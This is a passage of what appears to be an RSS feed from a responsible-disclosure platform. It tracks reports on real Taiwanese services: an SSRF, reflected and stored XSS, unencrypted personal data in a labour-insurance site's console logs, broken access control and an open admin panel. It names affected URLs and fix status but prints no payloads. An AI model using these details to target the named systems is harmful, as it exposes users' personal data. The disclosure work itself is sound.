    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 17 Oct 2022 00:42:33 GMT</pubDate></item><item><title>[Bounty]  某單位  SSRF</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00667</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00667
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      [Bounty]  某單位  SSRF
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SSRF
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    複測申請中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       複測中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/24 17:04:47
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 ccoozzyy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/24 17:25:14
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 11:00:46
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/29 01:56:58
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      未修補完成 (由 ccoozzyy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 14:55:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 23:57:10
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      未修補完成 (由 ccoozzyy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 09:11:14
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00667
    </li>
    <li>
     通報者：ccoozzyy (
     <a href="/user/ccoozzyy">
      ccoozzyy
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：Server-Side Request Forgery (SSRF)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 24 Aug 2022 17:04:47 GMT</pubDate></item><item><title>Zuvio XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00661</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00661
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/1917">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      學悅科技
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      Zuvio XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      課堂名稱、教師姓名存在 XSS 弱點
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/19 19:03:17
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 user 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/19 19:04:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 user 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/22 11:58:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 03:00:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00661
    </li>
    <li>
     通報者：user (
     <a href="/user/user">
      user
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。
    <br/>
    <br/>
    漏洞說明： OWASP - Cross-site Scripting (XSS)
    <br/>
    https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
    <br/>
    <br/>
    防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    <br/>
    <br/>
    防禦繞過方式： OWASP - XSS Filter Evasion Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://irs.zuvio.com.tw/teacher/account
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     課堂名稱、教師姓名存在 XSS 弱點 像是：(參數請參考圖片二)
    </p>
    <p>
     附圖一為弱點可被利用
    </p>
    <p>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7824/attachments/06dfe9cc87ccd14a51caf4437adab6a4"/>
    </p>
    <p>
     附圖二為使用參數
    </p>
    <p>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7824/attachments/a47d06a153511b91081db78a83798165"/>
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7824/attachments/06dfe9cc87ccd14a51caf4437adab6a4" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7824/attachments/a47d06a153511b91081db78a83798165" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/1917">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 19 Aug 2022 19:03:17 GMT</pubDate></item><item><title>勞保局e化服務系統網站漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00646</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00646
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4380">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      勞動部勞工保險局
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      勞保局e化服務系統網站漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      敏感資訊未加密
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/12 22:10:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 keyway 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:10:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:13:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/11 19:55:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/11 19:59:22
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/11 19:59:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 03:00:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00646
    </li>
    <li>
     通報者：xu628956 (
     <a href="/user/xu628956">
      keyway
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用洩漏資訊進行下一步攻擊行為。
    <br/>
    <br/>
    OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
    <br/>
    <br/>
    CWE-200 漏洞說明
    <br/>
    https://cwe.mitre.org/data/definitions/200.html
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://mes.bli.gov.tw/me/#/na/login
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     漏洞：
     <br/>
     OWASP A02:2021-加密機制失效
    </p>
    <p>
     問題：
     <br/>
     1.使用者操作軌跡,直接揭露在瀏覽器開發工具且包含敏感資訊
     <br/>
     2.敏感資訊未加密(例:身分證字號、出生年月日、自然人憑證PIN碼)
     <br/>
     3.用於伺服器端紀錄軌跡的「瀏覽器」和「裝置資訊」並未實作，而是統一帶test
    </p>
    <p>
     影響：
     <br/>
     1.有心人士能透過公用電腦盜取個資
     <br/>
     2.當https加密被破解時,可能造成個資外洩
    </p>
    <p>
     螢幕截圖：
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7809/attachments/c1af519d56ae25f5762b30892d4193c1"/>
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   修補建議
  </h3>
  <div class="section-content zdui-md-content">
   <p>
    開發時的LOG( console.log() )應於上線前移除，且敏感資訊應使用安全加密方式加密後,才透過API傳送到伺服器
   </p>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7809/attachments/c1af519d56ae25f5762b30892d4193c1" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4380">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 12 Aug 2022 22:10:50 GMT</pubDate></item><item><title> 某單位  Stored XSS </title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00716</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00716
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  Stored XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SurveyCake 表單文字輸入欄可注入Javascript，問卷擁有者進入管理頁面即觸發。
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    確認已修補
   </div>
   <div class="status-descr">
    Last Update : 2022/10/18
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/05 08:28:53
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 wefir 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/05 08:32:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 wefir 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/05 10:29:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/05 15:28:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/05 15:28:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/05 15:28:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/27 15:08:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/06 15:05:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      未修補完成 (由 wefir 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/18 18:06:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/18 23:57:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      確認已修補 (由 wefir 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00716
    </li>
    <li>
     通報者：wefir (
     <a href="/user/wefir">
      wefir
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：預存式跨站腳本攻擊 (Stored Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 05 Sep 2022 08:28:53 GMT</pubDate></item><item><title> 某單位 未經授權存取漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00880</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00880
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 未經授權存取漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      無須授權即可存取鎖定內容
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    新提交
   </div>
   <div class="status-descr">
    Last Update : 2022/10/18
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/18 09:18:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 西門吹雪 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/18 09:20:18
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 西門吹雪 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00880
    </li>
    <li>
     通報者：Sammydob (
     <a href="/user/Sammydob">
      西門吹雪
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：存取控制缺陷 (Broken Access Control)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 18 Oct 2022 09:18:56 GMT</pubDate></item><item><title> 某單位 後臺未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00878</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00878
     </span>
    </li>
    <li class="title">
     <span class="label">
